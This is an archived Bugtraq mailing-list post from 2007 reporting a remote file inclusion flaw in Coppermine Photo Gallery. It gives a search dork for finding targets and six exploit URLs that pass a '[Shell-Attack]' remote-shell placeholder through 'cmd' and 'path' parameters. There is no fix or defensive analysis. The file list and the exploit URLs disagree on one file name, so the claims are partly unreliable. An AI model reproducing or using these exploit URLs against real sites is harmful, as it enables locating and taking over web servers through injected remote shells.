Bugtraq mailing list archives

Remote File Include In Coppermine Photo Gallery


From: "RaeD Hasadya" <raed () bsdmail com>
Date: Fri, 23 Mar 2007 01:56:03 +0800

By Hasadya Raed
Contact : Raed () BsdMail Com
------------------------------------
Script :  Coppermine Photo Gallery 
Dork : Copyright (c) 2003-2006 Coppermine Dev Team
------------------------------------
B.Files :
 processor.php
 include/functions.php
 include/picmgmt.inc.php
 include/plugin_api.inc.php
 index.php
 pluginmgr.php
-----------------------------------
Expl : 

http://www.Victim.Com/path/image_processor.php?cmd=[Shell-Attack]
http://www.Victim.Com/path/include/functions.php?path=[Shell-Attack]
http://www.Victim.Com/path/include/picmgmt.inc.php?cmd=[Shell-Attack]
http://www.Victim.Com/path/include/plugin_api.inc.php?path=[Shell-Attack]
http://www.Victim.Com/path/index.php?path=[Shell-Attack]
http://www.Victim.Com/path/pluginmgr.php?path=[Shell-Attack]

-- 
_______________________________________________
Get your free email from http://bsdmail.com


Current thread: